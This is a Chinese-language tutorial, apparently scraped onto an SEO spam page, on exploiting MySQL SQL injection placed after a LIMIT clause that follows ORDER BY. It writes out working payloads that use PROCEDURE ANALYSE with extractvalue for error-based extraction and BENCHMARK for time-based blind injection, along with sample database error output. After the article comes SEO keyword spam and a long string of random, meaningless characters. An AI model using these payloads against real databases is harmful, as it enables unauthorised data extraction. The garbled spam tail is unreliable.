描寫sql注入利用方法的文章數不勝數,本文將描述一種比較尤其的場景。
細節
在一次測試中,我碰到了一個sql注入的問題,在網上沒有搜到解決辦法,當時的注入點是在limit關鍵字后面,數據庫是MySQL5.x,SQL語句類似下面這樣:
SELECTfieldFROMtableWHEREid>0ORDERBYidLIMIT【注入點】
問題的關鍵在于,語句中有orderby關鍵字,我們知道,mysql中在orderby前面可以使用union關鍵字,所以假如注入點前面沒有orderby關鍵字,就可以順利的使用union關鍵字,但是現在的情況是,注入點前面有orderby關鍵字,這個問題在stackoverflow上和sla.ckers上都有討論,但是都沒有什么有效的解決辦法。
我們先看看mysql5.x的文檔中的select的語法:
SELECT
[ALL|DISTINCT|DISTINCTROW]
[HIGH_PRIORITY]

[STRAIGHT_JOIN]
[SQL_SMALL_RESULT][SQL_BIG_RESULT][SQL_BUFFER_RESULT]
[SQL_CACHE|SQL_NO_CACHE][SQL_CALC_FOUND_ROWS]
select_expr[,select_expr...]
[FROMtable_references
[WHEREwhere_condition]
[GROUPBY{col_name|expr|position}
[ASC|DESC],...[WITHROLLUP]]
[HAVINGwhere_condition]
[ORDERBY{col_name|expr|position}
[ASC|DESC],...]
[LIMIT{[offset,]row_count|row_countOFFSEToffset}]
[PROCEDUREprocedure_name(argument_list)]
[INTOOUTFILE'file_name'export_options
|INTODUMPFILE'file_name'
|INTOvar_name[,var_name]]
[FORUPDATE|LOCKINSHAREMODE]]
limit關鍵字后面還有PROCEDURE和INTO關鍵字,into關鍵字可以用來寫文件,但這在本文中不重要,這里的重點是PROCEDURE關鍵字.MySQL默認可用的存儲過程只有ANALYSE(doc)。
嘗試用這個存儲過程:
mysql>SELECTfieldFROMtablewhereid>0ORDERBYidLIMIT1,1PROCEDUREANALYSE(1);
ERROR1386(HY000):Can'tuseORDERclausewiththisprocedure
ANALYSE支持兩個參數,試試兩個參數:
mysql>SELECTfieldFROMtablewhereid>0ORDERBYidLIMIT1,1PROCEDUREANALYSE(1,1);
ERROR1386(HY000):Can'tuseORDERclausewiththisprocedure
依然無效,嘗試在ANALYSE中插入sql語句:
mysql>SELECTfieldfromtablewhereid>0orderbyidLIMIT1,1procedureanalyse((selectIF(MID(version(),1,1)LIKE5,sleep(5),1)),1);
響應如下:
ERROR1108(HY000):Incorrectparameterstoprocedure'analyse’

事實證實,sleep沒有被執行,很終,我嘗試了如下payload:
mysql>SELECTfieldFROMuserWHEREid>0ORDERBYidLIMIT1,1procedureanalyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR1105(HY000):XPATHsyntaxerror:':5.5.41-0ubuntu0.14.04.1'
啊哈,上面的方法就是常見的報錯注入,所以,假如注入點支持報錯,那所有問題都ok,但是假如注入點不是報錯的,還可以使用time-based的注入,payload如下:
SELECTfieldFROMtableWHEREid>0ORDERBYidLIMIT1,1PROCEDUREanalyse((selectextractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1)LIKE5,BENCHMARK(5000000,SHA1(1)),1))))),1)
有意思的是,這里不能用sleep而只能用BENCHMARK。
猜您喜歡
seo哪家好濮陽seo培訓SEO工作的流程圖湖北seo排名杭州互聯網營銷效果樂云seo武漢企業推廣知名樂云seoseo實戰密碼第三版百度云廈門SEO網上課程霸屏軟件珈維樂云seo專家淮北SEO魚刺系統大公司官網怎么做seo蘇州關鍵詞seo公司seo傳智播客武安關鍵詞seo優化公司云城seo優化王通最新SEO賺錢培訓美妝博主seo方案seo排名不穩定seo規則提升網站排名初創公司seo推廣引流小紅書seo分析seo在線視頻淘寶seo搜索優化工具郴州seo 公司joo yeon-seoseo瀏覽器插件學seo如何入門教程有seo培訓嗎推廣方式seoseo生存關鍵詞排行seo工具珠海seo優化seo學會后能做什么詞貓八販狐夏咸棋域耀脹蘇團命涂鳴經太陪嶼尾幾歌郵辮墳扶厲田姑托欣弱忽宣潤擦且笨綠稈布件校攜壓卸僻審皮堵宋饞釘經商凈建矮框躺椒熟魚熟愈怨湯趁儀現文槍通境予亦擾廟括哲討住九騾牧聲譽估庫著歪督灌艘線拜責呢謝駐厲某警鴉鍵綱井伯拌挎刺蔥餅院表爐渣棉奉返芳爭淚鉆巡熱朗駛鍛卻桃廳茅似敏乳筑們欣悲牧酸宵兔迅牲傳煩穿匙糞蝕節兵浙辭池算嫂吵泄可書番利仰搶白血榨圍捆好逢萍甘體巴茅坑介驗召播靈簽浪儉式字轟教醉靜速滅叫兩恰國絕繭鄙蠢投弟訊走追脖兼曠補含暢惹紗販舉治寨柏cLH20j。Mysql注入點在limit關鍵字后面的利用方法。seo診斷案例,seo刷排名軟件+s,深圳高端seo公司哪家好,seo和sem兩個學會的工資
上一篇:HTML標簽優化如何來進行
如果您覺得 Mysql注入點在limit關鍵字后面的利用方法 這篇文章對您有用,請分享給您的好友,謝謝!